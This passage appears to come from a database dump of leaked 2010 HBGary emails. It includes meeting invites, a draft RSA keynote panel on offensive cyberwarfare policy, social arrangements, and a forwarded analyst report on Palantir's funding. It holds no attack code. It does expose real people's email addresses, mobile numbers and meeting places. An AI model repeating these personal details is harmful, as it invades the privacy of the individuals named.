to see how we can provide value to the operator\r\n	.  He buy in on this will help to push John Hunter to sponsor this as a p\r\n	ilot.\\n\\n\r\n	LTC Derek Streeter:\r\n	  ESSG member and just took over around 6 months ago.  He represents Joi\r\n	nt Forces and is very interested in our capability.  Having him understan\r\n	d the framework and providing feedback will be a big help if this gets to \r\n	the ESSG.\\n\\nVendors we will \r\n	be using:  HBGary and Agiliance.\\n\\nTeaming Partners:  Professional Solutions and Wyle Lab.  Profess\r\n	ional Solutions already has a contract with NSA and DIAP.  Wyle Lab has m\r\n	any contracts with DoD and is seen as thought leaders in this area.  \\n\\n\\n\\nWhat we\r\n	 are presenting:\\n\\nDDN’s Capabilities a\r\n	nd how CAR compliments it’s framework.  The them is to provide better E\r\n	nhance Situational Awareness where leadership and operators can prioritize\r\n	 the risk.  They can then implement Risk Management.  The DDN’s engine\r\n	 also helps to mitigate and remediate the infrastructure.  The other them\r\n	 is to show how we have taken SCAP and use this to aggregate the informati\r\n	on to send up to a command and control.  We are SCAP compliant as a consu\r\n	mer and a producer.  \\n\\n\r\n	 \\n\\n \r\n	\\n\\n-----Original Appointment-----\\n\r\n	From: Smith\\, Richard N.\\nSent: Friday\\, June 11\\, 2010 11:19 AM\\nTo: Smith\\, Richard N.\\; Kleiner\\, David CTR NII/DoD-CIO\\; Adams\\, Amanda \r\n	M\\; Corrody\\, Lauren B\\; mtivers\r\n	@nsa.gov\\; Hunter\\, John Mr NII/DoD-CIO\\; Riven\\, Rodney\\; Taneeshia.Watson.ctr@osd.mil\\; Christi\r\n	na McNemar\\; Votipka\\, David\\; Ricart\\, Richard\\nSubject: Enhance Situational Awareness\\n\r\n	When:\r\n	 Tuesday\\, July 06\\, 2010 2:00 PM-4:00 PM (GMT-05:00) Eastern Time (US &am\r\n	p\\; Canada).\\nW\r\n	here: 11951 Freedom Drive Reston\r\n	 VA\\, 20190\\n\\n\r\n	 \\n\\\r\n	n \\n\\nWhen: Tuesday\\, July 06\\,\r\n	 2010 2:00 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp\\; Canada).\\n\\n\r\n	Where: 11951 Freedom Drive Reston VA\\, 20190\\n\\n \\n\\n*~\r\n	*~*~*~*~*~*~*~*~*\\n\\n \\n\\nRick Smith CISSP\\, CISM\\, CCNA\\n\\nSenior Manager - Cyber Security\\n\\nNorth America Public Security and Cyber Security Practice\\n\\n11951 Freedom Drive\\n\\nReston VA\\, 20190\\n\\n(Mobile) 703-282-50\r\n	99 \\n\\nrichard.n.smith@a\r\n	ccenture.com\\n\\n \\n\\n \\n\\n\r\n	This message is for the d\r\n	esignated recipient only and may contain privileged\\, proprietary\\, or oth\r\n	erwise private information. If you have received it in error\\, please noti\r\n	fy the sender immediately and delete the original. Any other use of the em\r\n	ail by you is prohibited.\\n\\n\\n\\n\\n\r\nX-MICROSOFT-CDO-BUSYSTATUS:TENTATIVE\r\nX-MICROSOFT-CDO-IMPORTANCE:1\r\nX-MICROSOFT-CDO-INTENDEDSTATUS:BUSY\r\nX-MICROSOFT-DISALLOW-COUNTER:FALSE\r\nX-MS-OLK-ALLOWEXTERNCHECK:TRUE\r\nX-MS-OLK-AUTOSTARTCHECK:FALSE\r\nX-MS-OLK-CONFTYPE:0\r\nX-MS-OLK-SENDER;CN=\"Penny Leavy-Hoglund\":mailto:penny@hbgary.com\r\nBEGIN:VALARM\r\nTRIGGER:-PT15M\r\nACTION:DISPLAY\r\nDESCRIPTION:Reminder\r\nEND:VALARM\r\nEND:VEVENT\r\nEND:VCALENDAR\r\n\r\n',7645,'aaron_hbgary_com/7645.html'),(8185,'2010-07-02','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006404.M982141P14101Q3040.eml','aaron@hbgary.com','Fwd: RSA Keynote Panel Idea','\r\n---------- Forwarded message ----------From: Karen Burke &lt;karenmaryburke@gmail.com&gt;\r\nDate: Fri, Jul 2, 2010 at 10:43 AMSubject: RSA Keynote Panel IdeaTo: Greg Hoglund &lt;greg@hbgary.com&gt;\r\nHi Greg, After we spoke, I did a little research and found this recent article about Boeing, whose employees have been phished, etc. by attackers to get info. The piece focuses on the need for organizations to develop their own cyberwarfare policies/tools. http://www.theaustralian.com.au/australian-it/the-hub/boeing-among-defence-firms-fighting-cyber-terrorism/story-fn4mm2dt-1225883695304 \r\n\r\n \r\nThe new CyberCommand has been talking about the need for cybersecurity offense approach. We can expect this to possibly be a hot topic in the year+ ahead. \r\n \r\nHere is a possible keynote panel idea -- please edit as you see fit. Don&#39;t love this title, but you can amend.\r\n \r\nThe New Era of Cybersecurity Warfare: Taking The Fight To The Attackers\r\nWe&#39;ve always know that the bad guys are in our networks -- but now, in many cases, we know their identity so we can target these attackers who are successfully phishing our social networks for employees with access to sensitive corporate and nation-state secrets as well as conducting billions of dollars of online fraud and other crimes. From US Cyber Command, Gen. Keith Alexander to large aerospace and defense companies, the call to develop new cyberwarfare offensive tools and policies to go after these attackers has been growing. In this keynote panel, we will discuss this new era of cybersecurity warfare and discuss the pros and cons of this offensive cybersecurity approach. \r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n',6817,'aaron_hbgary_com/6817.html'),(8186,'2010-07-02','\"Godwin, Gib (IS)\" <James.Godwin@ngc.com>','/aaron@hbgary.com/new/1297006405.M276247P14101Q3041.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: EXTERNAL:Invitation: Social Media Discussions @ Mon Jul 19 10am - 11am (james.godwin@ngc.com)','',13951,'aaron_hbgary_com/13951.html'),(8187,'2010-07-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006405.M546988P14101Q3042.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: Drinks wed night 7pm in Reston','Hey Aaron,\r\n\r\nI\'ll have Bob drop Greg, what time?  Also if we stay in Reston, can you pick\r\nhim up for the Crystal City meeting?  Or (close to where you live)\r\n\r\n-----Original Message-----\r\nFrom: Greg Hoglund [mailto:greg@hbgary.com] \r\nSent: Friday, July 02, 2010 12:01 AM\r\nTo: Aaron Barr\r\nCc: Penny Leavy; Bob Slapnik\r\nSubject: Re: Drinks wed night 7pm in Reston\r\n\r\nWould be awesome assuming I\'m not dbl booked.  I\'m a doll ATM under\r\nthe control of penny so I have no idea what will the she-panther has\r\nfor me that time.\r\n\r\n-Greg\r\n\r\n\r\nOn Thursday, July 1, 2010, Aaron Barr  wrote:\r\n> Greg,\r\n>\r\n> I am getting together with the OSD CIO Wednesday in Reston for drinks\r\n> and was wondering if your free to join us?\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n\r\n',8200,'aaron_hbgary_com/8200.html'),(8188,'2010-07-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006405.M787514P14101Q3043.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: RSA Keynote Panel Idea','Greg,The following paragraph is for your consumption.There is no doubt in my mind that offense, while only carefully touched on publicly will gain increasing momentum in the months to come. &nbsp;What organizations are struggling with right now is authorities. &nbsp;CIA, NSA, Pentagon, CyberCOM have specific authorities under which to engage in cyberwarfare, and they can not deviate from these authorities. &nbsp;The organization with the widest range of authorities is the CIA, so we should look for them to play a much more significant role and enable NSA and DoD objectives.-------------TEAR LINE--------TOPICOrganizations can not undergo cyberwarfare, they put themselves in a very legally liable place if they try anything offensive. &nbsp;So it then becomes the burden of government. &nbsp;Unfortunately despite some tinfoil hat opinions (and a few highly publicized eavesdropping cases) we are under onerous legal and policy restrictions from being as aggressive as we need to be on offense. &nbsp;Each organization has certain authorities to act under specific conditions; FBI, CIA, NSA, DoD all have to abide by title and authority guidelines that favor separation of powers, caution, and privacy over capabilities.Title: Evolving the State of CyberwarfareOur adversaries are in our networks and have steady streams of PII, Money, and Intellectual property flowing out of our government and corporate organizations. &nbsp;With the rise in social media it has become even easier to mine digital artifacts on individuals and corporations for information reconnaissance and exploitation. &nbsp;The digital tide is rising against us and it is clear defense alone can not protect our critical information and resources. &nbsp;Every market segment is falling susceptible to exploitation, from our banks, energy, technology, and military. &nbsp;From the DNI, USCyber Command to the Defense Industrial Base, the call to develop new cyberwarfare capabilities and update our laws and policies to bring the fight to the attackers has been growing. &nbsp;In this keynote panel we will discuss the new area of cyberwarfare and discuss the pros and cons of this evolving cybersecurity approach.Thoughts?I have to clean a bit to get ready for some company. &nbsp;If you want to work on this and send back another version I will work on it some more..Aaron&nbsp;&nbsp;We\'ve always know that the bad guys are in our networks --&nbsp;but now, in many cases,&nbsp;we know their identity so we can target these attackers who are successfully phishing our social networks for employees with access to sensitive corporate and nation-state secrets as well as conducting billions of dollars of online fraud and other crimes. From US Cyber Command, Gen. Keith Alexander to large aerospace and defense companies, the call to develop new&nbsp;cyberwarfare offensive tools and policies to go after these attackers has been growing. In this keynote panel, we will discuss this new era of cybersecurity warfare and discuss&nbsp;the pros and cons&nbsp;of this offensive cybersecurity approach.On Jul 2, 2010, at 4:19 PM, Greg Hoglund wrote:\r\n---------- Forwarded message ----------From: Karen Burke &lt;karenmaryburke@gmail.com&gt;\r\nDate: Fri, Jul 2, 2010 at 10:43 AMSubject: RSA Keynote Panel IdeaTo: Greg Hoglund &lt;greg@hbgary.com&gt;\r\nHi Greg, After we spoke, I did a little research and found this recent article about Boeing, whose employees have been phished, etc. by attackers to get info. The piece focuses on the need for organizations to&nbsp;develop their own cyberwarfare policies/tools. http://www.theaustralian.com.au/australian-it/the-hub/boeing-among-defence-firms-fighting-cyber-terrorism/story-fn4mm2dt-1225883695304&nbsp;\r\n\r\n&nbsp;\r\nThe new CyberCommand has been talking about the need for cybersecurity offense approach. We can expect this to possibly be a hot topic in the year+ ahead. \r\n&nbsp;\r\nHere is a possible keynote panel idea -- please edit as you see fit. Don\'t love this title, but you can amend.\r\n&nbsp;\r\nThe New&nbsp;Era of Cybersecurity&nbsp;Warfare:&nbsp;Taking The Fight To The Attackers\r\nWe\'ve always know that the bad guys are in our networks --&nbsp;but now, in many cases,&nbsp;we know their identity so we can target these attackers who are successfully phishing our social networks for employees with access to sensitive corporate and nation-state secrets as well as conducting billions of dollars of online fraud and other crimes. From US Cyber Command, Gen. Keith Alexander to large aerospace and defense companies, the call to develop new&nbsp;cyberwarfare offensive tools and policies to go after these attackers has been growing. In this keynote panel, we will discuss this new era of cybersecurity warfare and discuss&nbsp;the pros and cons&nbsp;of this offensive cybersecurity approach.&nbsp;\r\n\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3252,'aaron_hbgary_com/3252.html'),(8189,'2010-07-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006406.M300892P14101Q3045.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Drinks wed night 7pm in Reston','What hotel??  I will book it so he stays there Wed so he isn\'t in Bethesda\r\nlike night before\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, July 02, 2010 4:55 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Drinks wed night 7pm in Reston\r\n\r\nok.  7pm at the American Tap House near the hotel...and yes.\r\n\r\nAaron\r\n\r\nOn Jul 2, 2010, at 4:53 PM, Penny Leavy-Hoglund wrote:\r\n\r\n> Hey Aaron,\r\n> \r\n> I\'ll have Bob drop Greg, what time?  Also if we stay in Reston, can you\r\npick\r\n> him up for the Crystal City meeting?  Or (close to where you live)\r\n> \r\n> -----Original Message-----\r\n> From: Greg Hoglund [mailto:greg@hbgary.com] \r\n> Sent: Friday, July 02, 2010 12:01 AM\r\n> To: Aaron Barr\r\n> Cc: Penny Leavy; Bob Slapnik\r\n> Subject: Re: Drinks wed night 7pm in Reston\r\n> \r\n> Would be awesome assuming I\'m not dbl booked.  I\'m a doll ATM under\r\n> the control of penny so I have no idea what will the she-panther has\r\n> for me that time.\r\n> \r\n> -Greg\r\n> \r\n> \r\n> On Thursday, July 1, 2010, Aaron Barr  wrote:\r\n>> Greg,\r\n>> \r\n>> I am getting together with the OSD CIO Wednesday in Reston for drinks\r\n>> and was wondering if your free to join us?\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPad\r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',11466,'aaron_hbgary_com/11466.html'),(8190,'2010-07-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006406.M507915P14101Q3046.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','CIO  ODI','BEGIN:VCALENDAR\r\nPRODID:-//Microsoft Corporation//Outlook 12.0 MIMEDIR//EN\r\nVERSION:2.0\r\nMETHOD:REQUEST\r\nX-MS-OLK-FORCEINSPECTOROPEN:TRUE\r\nBEGIN:VEVENT\r\nATTENDEE;CN=\"Aaron Barr\";RSVP=TRUE:mailto:aaron@hbgary.com\r\nATTENDEE;CN=\"Bob Slapnik\";RSVP=TRUE:mailto:bob@hbgary.com\r\nCLASS:PUBLIC\r\nCREATED:20100702T210016Z\r\nDESCRIPTION:When: Wednesday\\, July 07\\, 2010 7:00 PM-8:30 PM (UTC-05:00) Ea\r\n	stern Time (US & Canada).\\nWhere: American Tap House\\n\\nNote: The GMT offs\r\n	et above does not reflect daylight saving time adjustments.\\n\\n*~*~*~*~*~*\r\n	~*~*~*~*\\n\\n\\n\r\nDTEND:20100708T003000Z\r\nDTSTAMP:20100702T210016Z\r\nDTSTART:20100707T230000Z\r\nLAST-MODIFIED:20100702T210016Z\r\nLOCATION:American Tap House\r\nORGANIZER;CN=\"Penny Leavy-Hoglund\":mailto:penny@hbgary.com\r\nPRIORITY:5\r\nSEQUENCE:0\r\nSUMMARY;LANGUAGE=en-us:CIO  ODI\r\nTRANSP:OPAQUE\r\nUID:040000008200E00074C5B7101A82E00800000000B0F7710B081ACB01000000000000000\r\n	010000000A2202F5C12793C4E8A557FCDF6D762ED\r\nX-ALT-DESC;FMTTYPE=text/html:\\n\\n\\n\\n\\n\\n\\n\\n\\nWhen: Wednesday\\, July 07\\, 2010 7:00 PM-8:30 PM (UTC-05:00) Eastern T\r\n	ime (US &amp\\; Canada).\\n\\nWhere: American Tap House\\n\\nNote: The GMT offset above d\r\n	oes not reflect daylight saving time adjustments.\\n\\n*~*~*~*~*~*~*~*~*~*\r\n	\\n\\n\\n\\n\\n\r\nX-MICROSOFT-CDO-BUSYSTATUS:TENTATIVE\r\nX-MICROSOFT-CDO-IMPORTANCE:1\r\nX-MICROSOFT-CDO-INTENDEDSTATUS:BUSY\r\nX-MICROSOFT-DISALLOW-COUNTER:FALSE\r\nX-MS-OLK-ALLOWEXTERNCHECK:TRUE\r\nX-MS-OLK-AUTOSTARTCHECK:FALSE\r\nX-MS-OLK-CONFTYPE:0\r\nX-MS-OLK-SENDER;CN=\"Penny Leavy-Hoglund\":mailto:penny@hbgary.com\r\nBEGIN:VALARM\r\nTRIGGER:-PT15M\r\nACTION:DISPLAY\r\nDESCRIPTION:Reminder\r\nEND:VALARM\r\nEND:VEVENT\r\nEND:VCALENDAR\r\n\r\n',14859,'aaron_hbgary_com/14859.html'),(8191,'2010-07-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006406.M72819P14101Q3044.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Drinks wed night 7pm in Reston','ok.  7pm at the American Tap House near the hotel...and yes.\r\n\r\nAaron\r\n\r\nOn Jul 2, 2010, at 4:53 PM, Penny Leavy-Hoglund wrote:\r\n\r\n> Hey Aaron,\r\n> \r\n> I\'ll have Bob drop Greg, what time?  Also if we stay in Reston, can you pick\r\n> him up for the Crystal City meeting?  Or (close to where you live)\r\n> \r\n> -----Original Message-----\r\n> From: Greg Hoglund [mailto:greg@hbgary.com] \r\n> Sent: Friday, July 02, 2010 12:01 AM\r\n> To: Aaron Barr\r\n> Cc: Penny Leavy; Bob Slapnik\r\n> Subject: Re: Drinks wed night 7pm in Reston\r\n> \r\n> Would be awesome assuming I\'m not dbl booked.  I\'m a doll ATM under\r\n> the control of penny so I have no idea what will the she-panther has\r\n> for me that time.\r\n> \r\n> -Greg\r\n> \r\n> \r\n> On Thursday, July 1, 2010, Aaron Barr  wrote:\r\n>> Greg,\r\n>> \r\n>> I am getting together with the OSD CIO Wednesday in Reston for drinks\r\n>> and was wondering if your free to join us?\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPad\r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1766,'aaron_hbgary_com/1766.html'),(8192,'2010-07-02','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297006406.M739533P14101Q3047.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Re: Information on PointAbout','\r\n\r\n\r\n\r\n\r\nRE: EXTERNAL:Re: Information on PointAbout\r\n\r\n\r\n\r\n\r\n\r\nI\'m out of the office what\'s your number?\r\n\r\nChris\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Fri 7/2/2010 3:20 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: EXTERNAL:Re: Information on PointAbout\r\n\r\nChris,\r\n\r\nScott Suhy &lt;Scott.Suhy@PointAbout.com&gt;\r\n\r\nGive me a call when you get a second.&nbsp; I spoke with Blackbird this morning.&nbsp; I think we need to add them to the team.&nbsp; Also I saw that we contacted the same Google guy today, so I defer to your meeting notice, look forward to the discussion.\r\n\r\nAaron\r\n\r\nOn Jul 2, 2010, at 2:28 PM, Clair, Chris (TASC) wrote:\r\n\r\n&gt; I did not get our POCs card.&nbsp; Who do we send the NDA and TA to?\r\n&gt;&nbsp;\r\n&gt; Chris\r\n&gt;&nbsp;\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Wednesday, June 30, 2010 11:11 AM\r\n&gt; To: Clair, Chris (TASC)\r\n&gt; Subject: Information on PointAbout\r\n&gt;&nbsp;\r\n&gt; capabilities deck: http://link.PointAbout.com/capabilities\r\n&gt; whitepaper on our mobile strategy &amp; dev process:\r\n&gt; http://link.PointAbout.com/whitepaper\r\n&gt;\r\n&gt; a slide on what the mobile landscape looks like: http://link.Pointabout.com/pyramid\r\n&gt;&nbsp;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11442,'aaron_hbgary_com/11442.html'),(8193,'2010-07-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006406.M988106P14101Q3048.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: EXTERNAL:Re: Information on PointAbout','7195108478From my iPhoneOn Jul 2, 2010, at 5:12 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nI&#39;m out of the office what&#39;s your number?\r\n\r\nChris\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Fri 7/2/2010 3:20 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: EXTERNAL:Re: Information on PointAbout\r\n\r\nChris,\r\n\r\nScott Suhy &lt;Scott.Suhy@PointAbout.com&gt;\r\n\r\nGive me a call when you get a second.  I spoke with Blackbird this morning.  I think we need to add them to the team.  Also I saw that we contacted the same Google guy today, so I defer to your meeting notice, look forward to the discussion.\r\n\r\n\r\nAaron\r\n\r\nOn Jul 2, 2010, at 2:28 PM, Clair, Chris (TASC) wrote:\r\n\r\n&gt; I did not get our POCs card.  Who do we send the NDA and TA to?\r\n&gt; \r\n&gt; Chris\r\n&gt; \r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Wednesday, June 30, 2010 11:11 AM\r\n&gt; To: Clair, Chris (TASC)\r\n&gt; Subject: Information on PointAbout\r\n&gt; \r\n&gt; capabilities deck: http://link.PointAbout.com/capabilities\r\n&gt; whitepaper on our mobile strategy &amp; dev process:\r\n&gt; http://link.PointAbout.com/whitepaper\r\n&gt;\r\n&gt; a slide on what the mobile landscape looks like: http://link.Pointabout.com/pyramid\r\n&gt; \r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt; \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3990,'aaron_hbgary_com/3990.html'),(8194,'2010-07-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006407.M214742P14101Q3049.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','CIO  ODI','BEGIN:VCALENDAR\r\nPRODID:-//Microsoft Corporation//Outlook 12.0 MIMEDIR//EN\r\nVERSION:2.0\r\nMETHOD:REQUEST\r\nX-MS-OLK-FORCEINSPECTOROPEN:TRUE\r\nBEGIN:VEVENT\r\nATTENDEE;CN=\"Aaron Barr\";RSVP=TRUE:mailto:aaron@hbgary.com\r\nATTENDEE;CN=\"Bob Slapnik\";RSVP=TRUE:mailto:bob@hbgary.com\r\nCLASS:PUBLIC\r\nCREATED:20100702T211322Z\r\nDESCRIPTION:When: Wednesday\\, July 07\\, 2010 7:00 PM-8:30 PM (UTC-05:00) Ea\r\n	stern Time (US & Canada).\\nWhere: American Tap House/Reston Town Center\\n\\\r\n	nNote: The GMT offset above does not reflect daylight saving time adjustme\r\n	nts.\\n\\n*~*~*~*~*~*~*~*~*~*\\n\\n\\n\r\nDTEND:20100708T003000Z\r\nDTSTAMP:20100702T211322Z\r\nDTSTART:20100707T230000Z\r\nLAST-MODIFIED:20100702T211327Z\r\nLOCATION:American Tap House/Reston Town Center\r\nORGANIZER;CN=\"Penny Leavy-Hoglund\":mailto:penny@hbgary.com\r\nPRIORITY:5\r\nSEQUENCE:1\r\nSUMMARY;LANGUAGE=en-us:CIO  ODI\r\nTRANSP:OPAQUE\r\nUID:040000008200E00074C5B7101A82E00800000000B0F7710B081ACB01000000000000000\r\n	010000000A2202F5C12793C4E8A557FCDF6D762ED\r\nX-ALT-DESC;FMTTYPE=text/html:\\n\\n\\n\\n\\n\\n\\n\\n\\nWhen: Wednesday\\, July 07\\, 2010 7:00 PM-8:30 PM (UTC-05:00) Eastern T\r\n	ime (US &amp\\; Canada).\\n\\nWhere: American Tap House/Reston Town Center\\n\\nNote: The\r\n	 GMT offset above does not reflect daylight saving time adjustments.\\n\\n*~*~*~*\r\n	~*~*~*~*~*~*\\n\\n\\n\\n\\n\r\nX-MICROSOFT-CDO-BUSYSTATUS:TENTATIVE\r\nX-MICROSOFT-CDO-IMPORTANCE:1\r\nX-MICROSOFT-CDO-INTENDEDSTATUS:BUSY\r\nX-MICROSOFT-DISALLOW-COUNTER:FALSE\r\nX-MS-OLK-ALLOWEXTERNCHECK:TRUE\r\nX-MS-OLK-APPTSEQTIME:20100702T210016Z\r\nX-MS-OLK-AUTOSTARTCHECK:FALSE\r\nX-MS-OLK-CONFTYPE:0\r\nX-MS-OLK-SENDER;CN=\"Penny Leavy-Hoglund\":mailto:penny@hbgary.com\r\nBEGIN:VALARM\r\nTRIGGER:-PT15M\r\nACTION:DISPLAY\r\nDESCRIPTION:Reminder\r\nEND:VALARM\r\nEND:VEVENT\r\nEND:VCALENDAR\r\n\r\n',4950,'aaron_hbgary_com/4950.html'),(8195,'2010-07-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006407.M431265P14101Q3050.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,rich@hbgary.com,\"Martin Pillion\" <martin@hbgary.com>','Truman Project/TMC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.secureworks.com/research/tools/truman.html\r\n\r\n&nbsp;\r\n\r\nMartin, Phil needs to understand capabilities of TMC.&nbsp;\r\nSecureworks is saying this is their solutions.&nbsp; It&#8217;s GNU and Linux based,\r\nno VM&#8217;s.&nbsp; \r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9661,'aaron_hbgary_com/9661.html'),(8196,'2010-07-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006407.M747132P14101Q3051.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Palantir raises $90M in D Round, Value of Company $735M','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nImpact Report\r\n\r\nFunding of an unusual size: Beltway darling Palantir\r\nlands $90m\r\n\r\nAnalyst:\r\nPaul Roberts\r\nDate: 2 Jul 2010\r\nEmail This Report: to\r\ncolleagues &raquo;&raquo; / to\r\nyourself &raquo;&raquo;\r\n451 Report Folder: File report &raquo;&raquo; View my folder &raquo;&raquo; \r\n\r\nPalantir Technologies has raised $90m in a series D\r\nfunding round, giving the five-year-old startup a valuation of $735m, according\r\nto well-known industry source TechCrunch, which said it received the\r\nvaluation figure exclusively from Palantir. There\'s no word on how the company\r\nplans to use the money, and we weren\'t able to get Palantir to respond for this\r\nreport. CEO Alex Karp swears that the 250-employee firm will never have a\r\nformal marketing and sales function &#8211; trusting that word of mouth will\r\nallow it to still keep growing by leaps and bounds. That has us wondering\r\nwhether Palantir is getting ready to go shopping, or whether it has other\r\npurposes in mind for its new capital. \r\n\r\n\r\n \r\n  \r\n  The 451 Take\r\n  \r\n \r\n \r\n  \r\n  If \'data is the new oil,\' as the saying goes, think of\r\n  Palantir as a refinery. Those of you who read our 451\r\n  ESP report on e-crime have heard about Palantir, which has become the\r\n  poster child for powerful data-analytics tools that can ferret out advanced\r\n  attacks and otherwise make sense of the hodgepodge of data collected by\r\n  modern, layered security deployments. \r\n  \r\n  We were not surprised by the new funding round, but were taken aback by the\r\n  dollar amount &#8211; a whopping $90m. For starters, Palantir\'s platform,\r\n  though powerful, is hardly turnkey. Pricing starts in the mid six figures and\r\n  deployments can run to well over $1m. The main selling point, according to\r\n  folks we\'ve talked to, is its incredible flexibility in connecting isolated\r\n  bits of data to spot patterns of behavior or anomalous/suspicious activity.\r\n  However, infinite flexibility also carries with it a heavy burden of knowhow\r\n  and customization that most organizations can\'t muster. In the case of\r\n  Palantir, customers need to define their own data ontology to leverage the\r\n  power of the platform &#8211; no mean task. \r\n  \r\n  For now, the company isn\'t saying much about what it will do with its\r\n  newfound lucre. We\'d recommend a push to develop a hosted version of its\r\n  platform that would make it easier to go down market from the government and\r\n  very large enterprise space, and allow Palantir to start building products or\r\n  feature sets across verticals.\r\n  \r\n \r\n\r\n\r\nContext\r\n\r\nPalo Alto, California-based Palantir was founded in 2004 by PayPal\r\nalums Karp and CTO Nathan Gettings. The core idea behind the company was to\r\ncreate a pluggable data-analytics platform that could be used by organizations\r\nthat need to ferret out intelligence from massive volumes of information\r\n&#8211; in particular, government and financial services organizations.\r\nPalantir was initially funded with seed money from the founders, as well as\r\nthree prior rounds of investment from the Founders Fund, In-Q-Tel\r\nand Reed Elsevier Ventures. Palantir has not disclosed the amount of\r\nthose rounds. On June 24, Palantir announced that it had raised $90m in a\r\nseries D funding round. The vendor said that its latest round gives it a\r\nvaluation of $735m.\r\n\r\nFor partnerships, Palantir has collaborated with forensics\r\nvendor HBGary to\r\nintegrate HBGary\'s threat intelligence data to Palantir\'s\r\ninformation-analysis platform. The integration allows analysts to perform more\r\ngranular analysis of found threats using HPGary\'s Malware Genome database.\r\nThere have also been whispers of a partnership between Palantir and network\r\nforensics player NetWitness, though nothing has been forthcoming from\r\nthat. \r\n\r\nPalantir now claims 250 employees, up from 200 in the fourth\r\nquarter of 2009 and 150 a year ago. The company maintains two divisions:\r\nPalantir Government, which designs products for the company\'s government,\r\ndefense and intelligence customers; and Palantir Finance, which builds on the\r\nsame platform, but with an eye toward the needs of large financial services\r\norganizations. We can\'t verify that, but the roster of A-list media appearances\r\nthat Karp has landed, including NPR, The Wall Street Journal and The\r\nCharlie Rose Show &#8211; not to mention the latest TechCrunch exclusive\r\n&#8211; suggests that somebody at the firm has a way with the 